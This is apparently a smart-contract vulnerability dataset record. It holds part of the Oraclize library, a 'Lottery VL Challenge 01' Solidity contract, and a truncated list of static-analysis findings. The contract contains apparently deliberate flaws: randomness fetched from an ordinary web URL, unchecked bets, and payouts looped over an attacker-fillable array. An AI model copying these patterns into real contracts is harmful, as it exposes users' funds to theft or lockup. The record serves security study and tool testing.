uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal constant returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal constant returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, sha3(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal returns (bool){ bool match_ = true; if (prefix.length != n_random_bytes) throw; for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(sha3(keyhash) == sha3(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi, use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi, use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi, use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal constant { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } // </ORACLIZE_API> /* Lottery VL Challenge 01 */ pragma solidity ^0.4.19; contract Lottery is usingOraclize { uint public betNumber; uint public result; address public house; address public better; enum State { Created, InPlay, Paidout, Inactive } string public generatedNumber; State public state; uint public numbers; mapping(uint => address[]) public entries; event newOraclizeQuery(string description); event Aborted(); event Released(uint result); event NewBet(address better, uint value); constructor() public payable { house = msg.sender; state = State.Created; } modifier condition(bool _condition) { require(_condition); _; } modifier onlyBetter() { require(msg.sender == better); _; } modifier onlyHouse() { require(msg.sender == house); _; } modifier inState(State _state) { require(state == _state); _; } //source: https://ethereum.stackexchange.com/questions/30912/how-to-compare-strings-in-solidity function compareStrings (string a, string b) pure internal returns (bool){ return keccak256(a) == keccak256(b); } function bet(uint _betNumber) public inState(State.Created) payable { NewBet(msg.sender, msg.value); numbers++; entries[_betNumber].push(msg.sender); } function abort() public onlyHouse inState(State.Created) { Aborted(); state = State.Inactive; house.transfer(address(this).balance); } function release() payable public onlyHouse { if (oraclize_getPrice("URL") > address(this).balance) { newOraclizeQuery("Oraclize query failed. ETH for gas required."); } else { newOraclizeQuery("Oraclize query was sent, standing by for the answer.."); oraclize_query("URL", "json(https://jacksonng.org/codetest/random.php/).random"); } } function rollover () payable public onlyHouse inState(State.Paidout){ house = msg.sender; state = State.Created; } function __callback(bytes32 myid, string res) public { if (msg.sender != oraclize_cbAddress()) revert(); generatedNumber = res; uint maxRange = 2 ** 8; result = uint256(keccak256(abi.encodePacked(res))) % maxRange; _payout(entries[result]); Released(result); state = State.Paidout; } function withdraw() payable public onlyHouse { house.transfer(address(this).balance); } function _payout(address[] winners) private { if (winners.length > 0) { uint balance = address(this).balance; for(uint i=0; i<winners.length; i++) { winners[i].transfer(balance / winners.length); } } else { house.transfer(address(this).balance); } } }
null
[{"check": "arbitrary-send", "impact": "High", "confidence": "Medium", "lines": {"Lottery.sol": [1358]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"Lottery.sol": [1304]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1237, 1238, 1239, 1240, 1241]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [992, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [96, 97, 98, 99, 93, 94, 95]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [776, 777, 774, 775]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1155, 1156, 1157, 1158, 1159]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1179, 1180, 1181, 1182, 1183]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1017, 1018, 1019, 1020, 1021, 1022, 1023]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [152, 153, 154, 155, 156, 157, 158]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1048]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1071]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1081]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1133]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [34]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1251]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Lottery.sol": [1254]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [773, 774, 775, 776, 777]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [1236, 1237, 1238, 1239, 1240, 1241]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [96, 97, 98, 99, 88, 89, 90, 91, 92, 93, 94, 95]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"Lottery.sol": [168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"Lottery.sol": [1248]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [457, 458, 459, 460, 461]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [452, 453, 454, 455, 456]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [545, 546, 547, 548, 549, 550, 551, 552]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [256, 257, 258, 259, 260, 261, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [379, 380, 381]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [429, 430, 431, 432, 433, 434]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [251, 252, 253]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [423, 424, 425, 426, 427, 428]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1236, 1237, 1238, 1239, 1240, 1241]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [687, 688, 689, 690, 691, 692, 693, 694]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [513, 514, 515, 516, 517, 518, 519]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [658, 659, 660, 661, 662, 663, 664]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [608, 609, 610, 611, 612, 607]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [640, 641, 642, 643, 644, 645]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [418, 419, 420, 421, 422]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [435, 436, 437, 438, 439, 440]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [553, 554, 555, 556, 557, 558, 559, 560, 561]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [403, 404, 405, 406, 407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [576, 577, 578, 579, 571, 572, 573, 574, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [448, 449, 450, 451, 447]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [760, 761, 759]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [719, 720, 721, 722, 723, 724, 725, 726, 727]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [96, 97, 98, 99, 88, 89, 90, 91, 92, 93, 94, 95]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [268, 269, 270, 271]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [512, 506, 507, 508, 509, 510, 511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [762, 763, 764]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [462, 463, 464, 465, 466]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [277, 278, 279]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1086, 1087]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [562, 563, 564, 565, 566, 567, 568, 569, 570]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [861, 862, 863]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [672, 673, 674, 675, 676, 677, 678]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [746, 747, 748, 749, 750, 751, 752, 753, 754]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [695, 696, 697, 698, 699, 700, 701, 702]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [388, 389, 390, 391, 392]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [704, 705, 706, 707, 708, 709, 710, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [665, 666, 667, 668, 669, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [408, 409, 410, 411, 412]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [393, 394, 395, 396, 397]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [996, 997, 998]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [595, 596, 597, 598, 599, 600]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [398, 399, 400, 401, 402]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [765, 766, 767]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [499, 500, 501, 502, 503, 504, 505]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [737, 738, 739, 740, 741, 742, 743, 744, 745]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [101, 102, 103, 104, 105]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [944, 945, 946]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [869, 870, 871]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [416, 417, 413, 414, 415]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [248, 249, 247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [865, 866, 867]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [1293, 1294, 1295]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [646, 647, 648, 649, 650, 651]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [580, 581, 582, 583, 584, 585, 586, 587, 588]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [634, 635, 636, 637, 638, 639]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 799]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [618, 619, 620, 621, 622]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [711, 712, 713, 714, 715, 716, 717, 718]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [736, 728, 729, 730, 731, 732, 733, 734, 735]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Lottery.sol": [628, 629, 630, 631, 632]}}, 